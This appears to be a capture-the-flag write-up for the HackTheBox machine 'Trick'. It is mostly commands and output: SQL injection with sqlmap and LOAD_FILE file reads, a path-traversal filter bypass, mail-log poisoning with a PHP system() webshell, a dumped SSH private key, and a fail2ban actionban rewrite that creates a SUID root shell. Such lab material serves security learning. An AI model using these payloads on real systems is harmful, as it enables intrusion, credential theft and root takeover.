Trick
Recon
DNS (53)
└─$ dig -x 10.129.141.189 @10.129.141.189 | grep -vE '^$|;'
189.141.129.10.in-addr.arpa. 604800 IN PTR trick.htb.
141.129.10.in-addr.arpa. 604800 IN NS trick.htb.
trick.htb. 604800 IN A 127.0.0.1
trick.htb. 604800 IN AAAA ::1
└─$ dig axfr trick.htb @10.129.141.189 | grep -vE '^$|;'
trick.htb. 604800 IN SOA trick.htb. root.trick.htb. 5 604800 86400 2419200 604800
trick.htb. 604800 IN NS trick.htb.
trick.htb. 604800 IN A 127.0.0.1
trick.htb. 604800 IN AAAA ::1
preprod-payroll.trick.htb. 604800 IN CNAME trick.htb.
trick.htb. 604800 IN SOA trick.htb. root.trick.htb. 5 604800 86400 2419200 604800
└─$ dig ANY trick.htb @10.129.141.189 | grep -vE '^$|;'
trick.htb. 604800 IN SOA trick.htb. root.trick.htb. 5 604800 86400 2419200 604800
trick.htb. 604800 IN NS trick.htb.
trick.htb. 604800 IN A 127.0.0.1
trick.htb. 604800 IN AAAA ::1
trick.htb. 604800 IN A 127.0.0.1
trick.htb. 604800 IN AAAA ::1HTTP (80)
Main domain is just serving index.html.
Subdomain from DNS is serving PHP application, but it's protected with login form.
└─$ feroxbuster -u 'http://preprod-payroll.trick.htb/' -w /usr/share/seclists/Discovery/Web-Content/common.txt -I .css,.png -x .php -n
200 GET 0l 0w 0c http://preprod-payroll.trick.htb/ajax.php
302 GET 267l 527w 9546c http://preprod-payroll.trick.htb/index.php => login.php
...
302 GET 267l 527w 9546c http://preprod-payroll.trick.htb/ => login.php
301 GET 7l 12w 185c http://preprod-payroll.trick.htb/database => http://preprod-payroll.trick.htb/database/
200 GET 0l 0w 0c http://preprod-payroll.trick.htb/db_connect.php
500 GET 1l 0w 2c http://preprod-payroll.trick.htb/view_employee.php
200 GET 77l 166w 2473c http://preprod-payroll.trick.htb/manage_employee.php
200 GET 95l 155w 2717c http://preprod-payroll.trick.htb/employee.php
200 GET 45l 100w 2548c http://preprod-payroll.trick.htb/header.php
200 GET 27l 31w 486c http://preprod-payroll.trick.htb/home.php
200 GET 177l 313w 5571c http://preprod-payroll.trick.htb/login.php
200 GET 44l 86w 1259c http://preprod-payroll.trick.htb/manage_user.php
200 GET 81l 141w 2197c http://preprod-payroll.trick.htb/users.php
[####################] - 18s 4792/4792 0s found:42 errors:2
[####################] - 17s 4728/4728 271/s http://preprod-payroll.trick.htb/ Some pages display without authorization and some are just includes.
In /employee.php source we see Javascript making calls to /view_employee.php?id=<ID>
$('.view_employee').click(function(){
var $id=$(this).attr('data-id');
uni_modal("Employee Details","view_employee.php?id="+$id,"mid-large")
});Using EmployeeID doesn't show anything.
└─$ ffuf -u 'http://preprod-payroll.trick.htb/view_employee.php?id=FUZZ' -w <(seq 1 100) -fl 96
9 [Status: 200, Size: 4992, Words: 326, Lines: 133, Duration: 80ms]http://preprod-payroll.trick.htb/view_employee.php?id=9
Testing for SQLi:
# Success
http://preprod-payroll.trick.htb/view_employee.php?id=9 AND 1=1 -- -
# Fail
http://preprod-payroll.trick.htb/view_employee.php?id=9 AND 2=1 -- -└─$ sqlmap -u 'http://preprod-payroll.trick.htb/view_employee.php?id=9' -p id --dbms=MySQL --technique=U --batch --threads=10
---
Parameter: id (GET)
Type: UNION query
Title: Generic UNION query (NULL) - 10 columns
Payload: id=-8500 UNION ALL SELECT NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,CONCAT(0x716b7a7871,0x646d6678496c66754c70736874576a76584f4962636a58655356724f4f78684744704c586d48524f,0x717a7a7071)-- -
---
└─$ sqlmap -u 'http://preprod-payroll.trick.htb/view_employee.php?id=9' -p id --dbms=MySQL --technique=U --batch --threads=10 --current-db
current database: 'payroll_db'
└─$ sqlmap -u 'http://preprod-payroll.trick.htb/view_employee.php?id=9' -p id --dbms=MySQL --technique=U --batch --threads=10 -D payroll_db --tables
Database: payroll_db
[1 table]
+----------+
| position |
+----------+
└─$ sqlmap -u 'http://preprod-payroll.trick.htb/view_employee.php?id=9' -p id --dbms=MySQL --technique=U --batch --threads=10 -D payroll_db --dump
Database: payroll_db
Table: position
[1 entry]
+----+
| id |
+----+
| 1 |
+----+Database is completely empty. Let's see what current user can do, --os-shell failed to work.
└─$ sqlmap -u 'http://preprod-payroll.trick.htb/view_employee.php?id=9' --privileges --roles
[08:23:28] [INFO] fetching database users privileges
database management system users privileges:
[*] 'remo'@'localhost' [1]:
privilege: FILE
[08:23:29] [INFO] fetching database users privileges
database management system users roles:
[*] 'remo'@'localhost' [1]:
role: FILEhttps://dev.mysql.com/doc/refman/8.4/en/privileges-provided.html -> FILE -- File_priv -- File access on server host
I thought sqlmap failed to read files, but no. It's just not displaying it on STDOUT
└─$ sqlmap -u 'http://preprod-payroll.trick.htb/view_employee.php?id=9' --batch --file-read=/etc/hostname
files saved to [1]:
[*] /home/woyag/.local/share/sqlmap/output/preprod-payroll.trick.htb/files/_etc_hostname (same file)
└─$ cat /home/woyag/.local/share/sqlmap/output/preprod-payroll.trick.htb/files/_etc_hostname
trickDo it manually
└─$ curl 'http://preprod-payroll.trick.htb/view_employee.php?id=1%20UNION%20ALL%20SELECT%201,2,3,4,5,6,7,8,9,LOAD_FILE(%27/etc/passwd%27)%20--%20-' -s | grep sh$
<p><b>Position : Root:x:0:0:root:/root:/bin/bash
Michael:x:1001:1001::/home/michael:/bin/bash
└─$ curl 'http://preprod-payroll.trick.htb/view_employee.php?id=1%20UNION%20ALL%20SELECT%201,2,3,4,5,6,7,8,9,LOAD_FILE(%27/etc/nginx/sites-enabled/default%27)%20--%20-' -s
Position : Server {
Listen 80 Default_server;
Listen [::]:80 Default_server;
Server_name Trick.htb;
Root /var/www/html;
Index Index.html Index.htm Index.nginx-debian.html;
Server_name _;
Location / {
Try_files $uri $uri/ =404;
}
Location ~ \.php$ {
Include Snippets/fastcgi-php.conf;
Fastcgi_pass Unix:/run/php/php7.3-fpm.sock;
}
}
Server {
Listen 80;
Listen [::]:80;
Server_name Preprod-marketing.trick.htb;
Root /var/www/market;
Index Index.php;
Location / {
Try_files $uri $uri/ =404;
}
Location ~ \.php$ {
Include Snippets/fastcgi-php.conf;
Fastcgi_pass Unix:/run/php/php7.3-fpm-michael.sock;
}
}
Server {
Listen 80;
Listen [::]:80;
Server_name Preprod-payroll.trick.htb;
Root /var/www/payroll;
Index Index.php;
Location / {
Try_files $uri $uri/ =404;
}
Location ~ \.php$ {
Include Snippets/fastcgi-php.conf;
Fastcgi_pass Unix:/run/php/php7.3-fpm.sock;
}
}
└─$ curl 'http://preprod-payroll.trick.htb/view_employee.php?id=1%20UNION%20ALL%20SELECT%201,2,3,4,5,6,7,8,9,LOAD_FILE(%27/var/www/payroll/db_connect.php%27)%20--%20-' -s
$conn= New Mysqli('localhost','remo','TrulyImpossiblePasswordLmao123','payroll_db')or Die("Could Not Connect To Mysql".mysqli_error($con));We leaked the application full path from Nginx configuration and then leaked the database configuration.
No luck on SSH, but we have another host
└─$ sshpass -p 'TrulyImpossiblePasswordLmao123' ssh michael@trick.htb
Permission denied, please try again.
The website is vulnerable to LFI, but we already have LFI with MySQL... (?)
└─$ curl 'http://preprod-payroll.trick.htb/view_employee.php?id=1%20UNION%20ALL%20SELECT%201,2,3,4,5,6,7,8,9,LOAD_FILE(%27/var/www/market/index.php%27)%20--%20-' -s
<p><b>Position : <?php
$file = $_GET['page'];
If(!isset($file) || ($file=="index.php")) {
Include("/var/www/market/home.html");
}
Else{
Include("/var/www/market/".str_replace("../","",$file));
}It's doesn't mention, but other service might be running this.
└─$ curl -s 'http://preprod-marketing.trick.htb/index.php?page=..././..././..././..././..././/etc/hostname'
trickSMTP is running, but there's no mail in /var/mail/USERNAME 🤔
└─$ curl -s 'http://preprod-marketing.trick.htb/index.php?page=..././..././..././..././..././/var/mail/michael'If we can send mail and include it with PHP that would get us code execution!
└─$ swaks --to michael --server trick.htb --body Hello
└─$ curl -s 'http://preprod-marketing.trick.htb/index.php?page=..././..././..././..././..././/var/mail/michael'
From woyag@kraken Sat Dec 14 14:58:24 2024
Return-Path: <woyag@kraken>
X-Original-To: michael
Delivered-To: michael@debian.localdomain
Received: from kraken (unknown [10.10.14.113])
by debian.localdomain (Postfix) with ESMTP id F332F4099C
for <michael>; Sat, 14 Dec 2024 14:58:23 +0100 (CET)
Date: Sat, 14 Dec 2024 08:58:04 -0500
To: michael
From: woyag@kraken
Subject: test Sat, 14 Dec 2024 08:58:04 -0500
Message-Id: <20241214085804.453250@kraken>
X-Mailer: swaks v20240103.0 jetmore.org/john/code/swaks/
HelloLooks good, we are able to send emails.
└─$ swaks --to michael --server trick.htb --body '<?php echo system($_REQUEST[0]); ?>'
└─$ curl -s 'http://preprod-marketing.trick.htb/index.php?page=..././..././..././..././..././/var/mail/michael' -d '0=id'
...
uid=1001(michael) gid=1001(michael) groups=1001(michael),1002(security)
└─$ curl -s 'http://preprod-marketing.trick.htb/index.php?page=..././..././..././..././..././/var/mail/michael' -d '0=cat ~/.ssh/id_rsa'
...
-----BEGIN OPENSSH PRIVATE KEY-----
b3BlbnNzaC1rZXktdjEAAAAABG5vbmUAAAAEbm9uZQAAAAAAAAABAAABFwAAAAdzc2gtcn
NhAAAAAwEAAQAAAQEAwI9YLFRKT6JFTSqPt2/+7mgg5HpSwzHZwu95Nqh1Gu4+9P+ohLtz
c4jtky6wYGzlxKHg/Q5ehozs9TgNWPVKh+j92WdCNPvdzaQqYKxw4Fwd3K7F4JsnZaJk2G
YQ2re/gTrNElMAqURSCVydx/UvGCNT9dwQ4zna4sxIZF4HpwRt1T74wioqIX3EAYCCZcf+
4gAYBhUQTYeJlYpDVfbbRH2yD73x7NcICp5iIYrdS455nARJtPHYkO9eobmyamyNDgAia/
Ukn75SroKGUMdiJHnd+m1jW5mGotQRxkATWMY5qFOiKglnws/jgdxpDV9K3iDTPWXFwtK4
1kC+t4a8sQAAA8hzFJk2cxSZNgAAAAdzc2gtcnNhAAABAQDAj1gsVEpPokVNKo+3b/7uaC
DkelLDMdnC73k2qHUa7j70/6iEu3NziO2TLrBgbOXEoeD9Dl6GjOz1OA1Y9UqH6P3ZZ0I0
+93NpCpgrHDgXB3crsXgmydlomTYZhDat7+BOs0SUwCpRFIJXJ3H9S8YI1P13BDjOdrizE
hkXgenBG3VPvjCKiohfcQBgIJlx/7iABgGFRBNh4mVikNV9ttEfbIPvfHs1wgKnmIhit1L
jnmcBEm08diQ716hubJqbI0OACJr9SSfvlKugoZQx2Iked36bWNbmYai1BHGQBNYxjmoU6
IqCWfCz+OB3GkNX0reINM9ZcXC0rjWQL63hryxAAAAAwEAAQAAAQASAVVNT9Ri/dldDc3C
aUZ9JF9u/cEfX1ntUFcVNUs96WkZn44yWxTAiN0uFf+IBKa3bCuNffp4ulSt2T/mQYlmi/
KwkWcvbR2gTOlpgLZNRE/GgtEd32QfrL+hPGn3CZdujgD+5aP6L9k75t0aBWMR7ru7EYjC
tnYxHsjmGaS9iRLpo79lwmIDHpu2fSdVpphAmsaYtVFPSwf01VlEZvIEWAEY6qv7r455Ge
U+38O714987fRe4+jcfSpCTFB0fQkNArHCKiHRjYFCWVCBWuYkVlGYXLVlUcYVezS+ouM0
fHbE5GMyJf6+/8P06MbAdZ1+5nWRmdtLOFKF1rpHh43BAAAAgQDJ6xWCdmx5DGsHmkhG1V
PH+7+Oono2E7cgBv7GIqpdxRsozETjqzDlMYGnhk9oCG8v8oiXUVlM0e4jUOmnqaCvdDTS
3AZ4FVonhCl5DFVPEz4UdlKgHS0LZoJuz4yq2YEt5DcSixuS+Nr3aFUTl3SxOxD7T4tKXA
fvjlQQh81veQAAAIEA6UE9xt6D4YXwFmjKo+5KQpasJquMVrLcxKyAlNpLNxYN8LzGS0sT
AuNHUSgX/tcNxg1yYHeHTu868/LUTe8l3Sb268YaOnxEbmkPQbBscDerqEAPOvwHD9rrgn
In16n3kMFSFaU2bCkzaLGQ+hoD5QJXeVMt6a/5ztUWQZCJXkcAAACBANNWO6MfEDxYr9DP
JkCbANS5fRVNVi0Lx+BSFyEKs2ThJqvlhnxBs43QxBX0j4BkqFUfuJ/YzySvfVNPtSb0XN
jsj51hLkyTIOBEVxNjDcPWOj5470u21X8qx2F3M4+YGGH+mka7P+VVfvJDZa67XNHzrxi+
IJhaN0D5bVMdjjFHAAAADW1pY2hhZWxAdHJpY2sBAgMEBQ==
-----END OPENSSH PRIVATE KEY-----SSH (22)
└─$ nano michael.id_rsa
└─$ chmod 600 michael.id_rsa
└─$ ssh michael@trick.htb -i michael.id_rsa
michael@trick:~$ id
uid=1001(michael) gid=1001(michael) groups=1001(michael),1002(security)User.txt
michael@trick:~$ cat user.txt
f994ad0cda244cb305d740aefb1c7bbePrivilege Escaltion
michael@trick:~$ sudo -l
Matching Defaults entries for michael on trick:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin
User michael may run the following commands on trick:
(root) NOPASSWD: /etc/init.d/fail2ban restart
michael@trick:~$ find / -group security -ls 2>/dev/null
269281 4 drwxrwx--- 2 root security 4096 Dec 14 15:36 /etc/fail2ban/action.d
michael@trick:~$ find / -user security -ls 2>/dev/nullAs part of security we have write permissions in fail2ban directory.
Fail2Ban – Linux Privilege Escalation
Change the rule and restart the service
michael@trick:/etc/fail2ban$ sed -i '/^actionban = /c\actionban = install -m4777 /bin/bash /tmp/rootbash' ./action.d/iptables-multiport.conf
michael@trick:/etc/fail2ban$ sudo /etc/init.d/fail2ban restart
[ ok ] Restarting fail2ban (via systemctl): fail2ban.service.
michael@trick:/etc/fail2ban$ cat /etc/fail2ban/action.d/iptables-multiport.conf | grep actionban
# Notes.: command executed once before each actionban command
# Option: actionban
actionban = install -m4777 /bin/bash /tmp/rootbashfail2ban works by banning the IPs that try to bruteforce SSH for example, perform bruteforce so actionban will trigger
└─$ hydra -l letmein -P <(seq 1 100) trick.htb ssh -vmichael@trick:/etc/fail2ban$ ls -l /tmp/rootbash
-rwsrwxrwx 1 root root 1168776 Dec 14 15:51 /tmp/rootbash
michael@trick:/etc/fail2ban$ /tmp/rootbash -p
rootbash-5.0# id
uid=1001(michael) gid=1001(michael) euid=0(root) groups=1001(michael),1002(security)User.txt
rootbash-5.0# cat /root/root.txt
d82a75c2cbee6f12f26427f8d023049fLast updated